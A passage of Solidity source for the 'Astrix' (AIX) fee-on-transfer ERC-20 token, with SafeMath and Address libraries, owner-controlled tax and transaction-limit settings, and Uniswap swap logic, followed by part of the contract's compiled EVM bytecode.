cheaper than requiring 'a' not being zero, TOKEN the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Token is Context, ERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _holders; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromTax; mapping(address => bool) private _isExcludedFromMaxTx; string private _name = "Astrix"; string private _symbol = "AIX"; uint8 private _decimals = 18; uint256 private _tTotal = 500000000 * 1e18; IUniswapV2Router02 public uniswapRouter; address public immutable uniSwapPair; address payable private marketingWallet; uint256 _marketingTax; uint256 public _buyMarketingTax = 60; // 6% uint256 public _sellMarketingTax = 100; //10% uint256 public _normalTransferTax = 10; // 1% bool inSwapAndLiquify = false; bool public swapAndLiquifyEnabled = true; uint256 public maxSellTransaction = 5000000 * 10**18; // 1% of total suppy uint256 public maxBuyTransaction = 10000000 * 10**18; // 2% of total suppy uint256 public minTokenNumberToSell = 500000 * 10**18; // 0.1% of total supply event SwapAndLiquifyEnabledUpdated(bool enabled); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(address payable _marketingWallet) { IUniswapV2Router02 _uniswapRouter = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a Uniswap pair for this new token uniSwapPair = IUniswapV2Factory(_uniswapRouter.factory()).createPair( address(this), _uniswapRouter.WETH() ); // set the rest of the contract variables uniswapRouter = _uniswapRouter; marketingWallet = _marketingWallet; //exclude owner and this contract from Tax _isExcludedFromTax[owner()] = true; _isExcludedFromTax[address(this)] = true; _isExcludedFromTax[_marketingWallet] = true; // exclude from max tx _isExcludedFromMaxTx[owner()] = true; _isExcludedFromMaxTx[address(this)] = true; _isExcludedFromMaxTx[_marketingWallet] = true; _holders[owner()] = _tTotal; emit Transfer(address(0), owner(), _tTotal); } receive() external payable {} function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _holders[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "TOKEN: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "TOKEN: decreased allowance below zero" ) ); return true; } // getter functions function getContractBalance() public view returns (uint256) { return address(this).balance; } function isExcludedFromTax(address account) public view returns (bool) { return _isExcludedFromTax[account]; } function excludeFromTax(address account) external onlyOwner { _isExcludedFromTax[account] = true; } function includeInTax(address account) external onlyOwner { _isExcludedFromTax[account] = false; } function setAmountLimits(uint256 _maxSellTxAmount, uint256 _maxBuyTxAmount) external onlyOwner { require(_maxSellTxAmount >= 150000 * 1e18); maxSellTransaction = _maxSellTxAmount; maxBuyTransaction = _maxBuyTxAmount; } function removeMaxBuyLimit() external onlyOwner { maxBuyTransaction = _tTotal; } function removeBuyTax() external onlyOwner { _buyMarketingTax = 0; } function removeSellTax() external onlyOwner { _sellMarketingTax = 0; } function removeNormalTransferTax() external onlyOwner { _normalTransferTax = 0; } function setBuyTax(uint256 _bMarketingTax) external onlyOwner { uint256 sumOfTaxes = _bMarketingTax; require(InTaxRange(sumOfTaxes)); _buyMarketingTax = _bMarketingTax; } function setSellTax(uint256 _sMarketingTax) external onlyOwner { uint256 sumOfTaxes = _sMarketingTax; require(InTaxRange(sumOfTaxes)); _sellMarketingTax = _sMarketingTax; } function setTransferTax(uint256 _nMarketingTax) external onlyOwner { uint256 sumOfTaxes = _nMarketingTax; require(InTaxRange(sumOfTaxes)); _normalTransferTax = _nMarketingTax; } function setMinTokenNumberToSell(uint256 _amount) external onlyOwner { minTokenNumberToSell = _amount; } function setExcludeFromMaxTx(address _address, bool _state) external onlyOwner { _isExcludedFromMaxTx[_address] = _state; } function setSwapAndLiquifyEnabled(bool _state) external onlyOwner { swapAndLiquifyEnabled = _state; emit SwapAndLiquifyEnabledUpdated(_state); } function setMarketingWallet(address payable _marketingWallet) external onlyOwner { marketingWallet = _marketingWallet; } function removeMaxTxLimits() external onlyOwner { maxSellTransaction = _tTotal; maxBuyTransaction = _tTotal; } function setUniswapRouter(IUniswapV2Router02 _uniswapRouter) external onlyOwner { uniswapRouter = _uniswapRouter; } // internal functions function sumOfTaxPerTx(uint256 tAmount) internal view returns (uint256) { uint256 percentage = tAmount.mul(_marketingTax).div(1e3); return percentage; } function _takeAllTax(uint256 tAmount) internal { uint256 tFee = tAmount.mul(_marketingTax).div(1e3); _holders[address(this)] = _holders[address(this)].add(tFee); emit Transfer(_msgSender(), address(this), tFee); } function InTaxRange(uint256 tAmount) private pure returns (bool) { uint256 max = 160; // 16% return tAmount <= max; } function removeAllFee() private { _marketingTax = 0; } function takeBuyFee() private { _marketingTax = _buyMarketingTax; } function takeSellFee() private { _marketingTax = _sellMarketingTax; } function takeNormalTransferFee() private { _marketingTax = _normalTransferTax; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "TOKEN: approve from the zero address"); require(spender != address(0), "TOKEN: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "TOKEN: transfer from the zero address"); require(to != address(0), "TOKEN: transfer to the zero address"); require(amount > 0, "TOKEN: Transfer amount must be greater than zero"); if ( !_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to] // by default false ) { if (to == uniSwapPair) { // sell require( amount <= maxSellTransaction, "TOKEN: max sell transaction exceeded" ); } if (from == uniSwapPair) { // buy require( amount <= maxBuyTransaction, "TOKEN: max buy transaction exceeded" ); } } // swap and liquify swapAndLiquify(from, to); //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromTax account then remove the fee if (_isExcludedFromTax[from] || _isExcludedFromTax[to]) { takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } // take fee if takefee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); else if (sender == uniSwapPair) takeBuyFee(); else if (recipient == uniSwapPair) takeSellFee(); else takeNormalTransferFee(); uint256 tTransferAmount = amount.sub(sumOfTaxPerTx(amount)); _holders[sender] = _holders[sender].sub(amount); _holders[recipient] = _holders[recipient].add(tTransferAmount); _takeAllTax(amount); emit Transfer(sender, recipient, tTransferAmount); } function manualSwap() external onlyOwner { uint256 contractTokenBalance = balanceOf(address(this)).sub(1000 * 1e18); // maintain tokens in the contract require( contractTokenBalance > 0, "TOKEN: contract balance must be greater than zero" ); _approve(address(this), address(uniswapRouter), contractTokenBalance); swapTokensForETH(contractTokenBalance); } function manualSend() external onlyOwner { uint256 deltaBalance = getContractBalance(); require(deltaBalance > 0, "TOKEN: Insufficient contract balance"); marketingWallet.transfer(deltaBalance); } function swapAndLiquify(address from, address to) private { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= maxSellTransaction) { contractTokenBalance = maxSellTransaction; } bool shouldSell = contractTokenBalance >= minTokenNumberToSell; if ( !inSwapAndLiquify && shouldSell && from != uniSwapPair && swapAndLiquifyEnabled && !(from == address(this) && to == uniSwapPair) ) { contractTokenBalance = minTokenNumberToSell; // approve contract _approve( address(this), address(uniswapRouter), contractTokenBalance ); takeSellFee(); swapTokensForETH(contractTokenBalance); uint256 deltaBalance = getContractBalance(); // tax transfers marketingWallet.transfer(deltaBalance); } } function swapTokensForETH(uint256 tokenAmount) internal lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); // make the swap uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } }
0x6080604052600436106102605760003560e01c8063735de9f711610144578063bea9849e116100b6578063dc1052e21161007a578063dc1052e214610885578063dd62ed3e146108ae578063e17c4c74146108eb578063f2fde38b14610914578063f42938901461093d578063fb271bab1461095457610267565b8063bea9849e146107a0578063c49b9a80146107c9578063c66d57a8146107f2578063cb4ca6311461081d578063d837df051461085a57610267565b80638cd09d50116101085780638cd09d501461067c5780638da5cb5b146106a557806395d89b41146106d0578063a1b02be1146106fb578063a457c2d714610726578063a9059cbb1461076357610267565b8063735de9f7146105cf5780637a091849146105fa5780637aa88cbb1461062557806389c06bb01461063c5780638b5259031461065357610267565b806344dbf62b116101dd5780635b89029c116101a15780635b89029c146104d55780635d098b38146104fe57806360d1259e146105275780636f9fb98a1461055057806370a082311461057b578063715018a6146105b857610267565b806344dbf62b14610414578063474318b51461043f5780634a74bb021461046a5780634bcc26161461049557806351bc3c85146104be57610267565b806318160ddd1161022457806318160ddd1461031957806323b872dd14610344578063313ce5671461038157806339509351146103ac5780633b13cc16146103e957610267565b806306fdde031461026c578063095ea7b3146102975780630e052fc2146102d45780630fdeb292146102eb57806315ae72971461030257610267565b3661026757005b600080fd5b34801561027857600080fd5b5061028161097d565b60405161028e9190612f45565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190613000565b610a0f565b6040516102cb919061305b565b60405180910390f35b3480156102e057600080fd5b506102e9610a2d565b005b3480156102f757600080fd5b50610300610ab4565b005b34801561030e57600080fd5b50610317610b3a565b005b34801561032557600080fd5b5061032e610bca565b60405161033b9190613085565b60405180910390f35b34801561035057600080fd5b5061036b600480360381019061036691906130a0565b610bd4565b604051610378919061305b565b60405180910390f35b34801561038d57600080fd5b50610396610cad565b6040516103a3919061310f565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190613000565b610cc4565b6040516103e0919061305b565b60405180910390f35b3480156103f557600080fd5b506103fe610d77565b60405161040b9190613085565b60405180910390f35b34801561042057600080fd5b50610429610d7d565b6040516104369190613085565b60405180910390f35b34801561044b57600080fd5b50610454610d83565b6040516104619190613085565b60405180910390f35b34801561047657600080fd5b5061047f610d89565b60405161048c919061305b565b60405180910390f35b3480156104a157600080fd5b506104bc60048036038101906104b7919061312a565b610d9c565b005b3480156104ca57600080fd5b506104d3610e22565b005b3480156104e157600080fd5b506104fc60048036038101906104f79190613183565b610f42565b005b34801561050a57600080fd5b5061052560048036038101906105209190613201565b611019565b005b34801561053357600080fd5b5061054e6004803603810190610549919061322e565b6110d9565b005b34801561055c57600080fd5b506105656111b0565b6040516105729190613085565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d919061322e565b6111b8565b6040516105af9190613085565b60405180910390f35b3480156105c457600080fd5b506105cd611201565b005b3480156105db57600080fd5b506105e4611289565b6040516105f191906132ba565b60405180910390f35b34801561060657600080fd5b5061060f6112af565b60405161061c9190613085565b60405180910390f35b34801561063157600080fd5b5061063a6112b5565b005b34801561064857600080fd5b5061065161133b565b005b34801561065f57600080fd5b5061067a6004803603810190610675919061312a565b6113c1565b005b34801561068857600080fd5b506106a3600480360381019061069e919061312a565b61145f565b005b3480156106b157600080fd5b506106ba6114fd565b6040516106c791906132e4565b60405180910390f35b3480156106dc57600080fd5b506106e5611526565b6040516106f29190612f45565b60405180910390f35b34801561070757600080fd5b506107106115b8565b60405161071d9190613085565b60405180910390f35b34801561073257600080fd5b5061074d60048036038101906107489190613000565b6115be565b60405161075a919061305b565b60405180910390f35b34801561076f57600080fd5b5061078a60048036038101906107859190613000565b61168b565b604051610797919061305b565b60405180910390f35b3480156107ac57600080fd5b506107c760048036038101906107c2919061333d565b6116a9565b005b3480156107d557600080fd5b506107f060048036038101906107eb919061336a565b611769565b005b3480156107fe57600080fd5b50610807611839565b6040516108149190613085565b60405180910390f35b34801561082957600080fd5b50610844600480360381019061083f919061322e565b61183f565b604051610851919061305b565b60405180910390f35b34801561086657600080fd5b5061086f611895565b60405161087c91906132e4565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a7919061312a565b6118b9565b005b3480156108ba57600080fd5b506108d560048036038101906108d09190613397565b611957565b6040516108e29190613085565b60405180910390f35b3480156108f757600080fd5b50610912600480360381019061090d919061322e565b6119de565b005b34801561092057600080fd5b5061093b6004803603810190610936919061322e565b611ab5565b005b34801561094957600080fd5b50610952611bac565b005b34801561096057600080fd5b5061097b600480360381019061097691906133d7565b611ce3565b005b60606005805461098c90613446565b80601f01602080910402602001604051908101604052809291908181526020018280546109b890613446565b8015610a055780601f106109da57610100808354040283529160200191610a05565b820191906000526020600020905b8154815290600101906020018083116109e857829003601f168201915b5050505050905090565b6000610a23610a1c611d88565b8484611d90565b6001905092915050565b610a35611d88565b73ffffffffffffffffffffffffffffffffffffffff16610a536114fd565b73ffffffffffffffffffffffffffffffffffffffff1614610aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa0906134c3565b60405180910390fd5b600854601181905550565b610abc611d88565b73ffffffffffffffffffffffffffffffffffffffff16610ada6114fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b27906134c3565b60405180910390fd5b6000600c81905550565b610b42611d88565b73ffffffffffffffffffffffffffffffffffffffff16610b606114fd565b73ffffffffffffffffffffffffffffffffffffffff1614610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad906134c3565b60405180910390fd5b600854601081905550600854601181905550565b6000600854905090565b6000610be1848484611f59565b610ca284610bed611d88565b610c9d85604051806060016040528060288152602001613efc60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c53611d88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123239092919063ffffffff16565b611d90565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000610d6d610cd1611d88565b84610d688560026000610ce2611d88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238790919063ffffffff16565b611d90565b6001905092915050565b60105481565b600d5481565b600e5481565b600f60019054906101000a900460ff1681565b610da4611d88565b73ffffffffffffffffffffffffffffffffffffffff16610dc26114fd565b73ffffffffffffffffffffffffffffffffffffffff1614610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f906134c3565b60405180910390fd5b8060128190555050565b610e2a611d88565b73ffffffffffffffffffffffffffffffffffffffff16610e486114fd565b73ffffffffffffffffffffffffffffffffffffffff1614610e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e95906134c3565b60405180910390fd5b6000610ec4683635c9adc5dea00000610eb6306111b8565b6123e590919063ffffffff16565b905060008111610f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0090613555565b60405180910390fd5b610f3630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611d90565b610f3f8161242f565b50565b610f4a611d88565b73ffffffffffffffffffffffffffffffffffffffff16610f686114fd565b73ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb5906134c3565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611021611d88565b73ffffffffffffffffffffffffffffffffffffffff1661103f6114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c906134c3565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6110e1611d88565b73ffffffffffffffffffffffffffffffffffffffff166110ff6114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c906134c3565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600047905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611209611d88565b73ffffffffffffffffffffffffffffffffffffffff166112276114fd565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611274906134c3565b60405180910390fd5b611287600061267b565b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b6112bd611d88565b73ffffffffffffffffffffffffffffffffffffffff166112db6114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611331576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611328906134c3565b60405180910390fd5b6000600e81905550565b611343611d88565b73ffffffffffffffffffffffffffffffffffffffff166113616114fd565b73ffffffffffffffffffffffffffffffffffffffff16146113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae906134c3565b60405180910390fd5b6000600d81905550565b6113c9611d88565b73ffffffffffffffffffffffffffffffffffffffff166113e76114fd565b73ffffffffffffffffffffffffffffffffffffffff161461143d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611434906134c3565b60405180910390fd5b600081905061144b8161273f565b61145457600080fd5b81600e819055505050565b611467611d88565b73ffffffffffffffffffffffffffffffffffffffff166114856114fd565b73ffffffffffffffffffffffffffffffffffffffff16146114db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d2906134c3565b60405180910390fd5b60008190506114e98161273f565b6114f257600080fd5b81600d819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461153590613446565b80601f016020809104026020016040519081016040528092919081815260200182805461156190613446565b80156115ae5780601f10611583576101008083540402835291602001916115ae565b820191906000526020600020905b81548152906001019060200180831161159157829003601f168201915b5050505050905090565b600c5481565b60006116816115cb611d88565b8461167c85604051806060016040528060258152602001613f2460259139600260006115f5611d88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123239092919063ffffffff16565b611d90565b6001905092915050565b600061169f611698611d88565b8484611f59565b6001905092915050565b6116b1611d88565b73ffffffffffffffffffffffffffffffffffffffff166116cf6114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c906134c3565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611771611d88565b73ffffffffffffffffffffffffffffffffffffffff1661178f6114fd565b73ffffffffffffffffffffffffffffffffffffffff16146117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dc906134c3565b60405180910390fd5b80600f60016101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161182e919061305b565b60405180910390a150565b60115481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f00000000000000000000000080a2b3de1bfc8a6ca660276090b4685b83db017881565b6118c1611d88565b73ffffffffffffffffffffffffffffffffffffffff166118df6114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192c906134c3565b60405180910390fd5b60008190506119438161273f565b61194c57600080fd5b81600c819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119e6611d88565b73ffffffffffffffffffffffffffffffffffffffff16611a046114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a51906134c3565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611abd611d88565b73ffffffffffffffffffffffffffffffffffffffff16611adb6114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b28906134c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ba0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b97906135e7565b60405180910390fd5b611ba98161267b565b50565b611bb4611d88565b73ffffffffffffffffffffffffffffffffffffffff16611bd26114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f906134c3565b60405180910390fd5b6000611c326111b0565b905060008111611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e90613679565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cdf573d6000803e3d6000fd5b5050565b611ceb611d88565b73ffffffffffffffffffffffffffffffffffffffff16611d096114fd565b73ffffffffffffffffffffffffffffffffffffffff1614611d5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d56906134c3565b60405180910390fd5b691fc3842bd1f071c00000821015611d7657600080fd5b81601081905550806011819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df69061370b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e659061379d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f4c9190613085565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbf9061382f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202e906138c1565b60405180910390fd5b6000811161207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613953565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561211e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612256577f00000000000000000000000080a2b3de1bfc8a6ca660276090b4685b83db017873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121bc576010548111156121bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b2906139e5565b60405180910390fd5b5b7f00000000000000000000000080a2b3de1bfc8a6ca660276090b4685b83db017873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361225557601154811115612254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224b90613a77565b60405180910390fd5b5b5b6122608383612752565b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123075750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561231157600090505b61231d84848484612956565b50505050565b600083831115829061236b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123629190612f45565b60405180910390fd5b506000838561237a9190613ac6565b9050809150509392505050565b60008082846123969190613afa565b9050838110156123db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d290613b9c565b60405180910390fd5b8091505092915050565b600061242783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612323565b905092915050565b6001600f60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561246757612466613bbc565b5b6040519080825280602002602001820160405280156124955781602001602082028036833780820191505090505b50905030816000815181106124ad576124ac613beb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612554573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125789190613c2f565b8160018151811061258c5761258b613beb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161262a959493929190613d55565b600060405180830381600087803b15801561264457600080fd5b505af1158015612658573d6000803e3d6000fd5b50505050506000600f60006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060a0905080831115915050919050565b600061275d306111b8565b9050601054811061276e5760105490505b60006012548210159050600f60009054906101000a900460ff161580156127925750805b80156127ea57507f00000000000000000000000080a2b3de1bfc8a6ca660276090b4685b83db017873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156128025750600f60019054906101000a900460ff165b801561289157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561288f57507f00000000000000000000000080a2b3de1bfc8a6ca660276090b4685b83db017873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b155b156129505760125491506128c830600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d90565b6128d0612bf1565b6128d98261242f565b60006128e36111b0565b90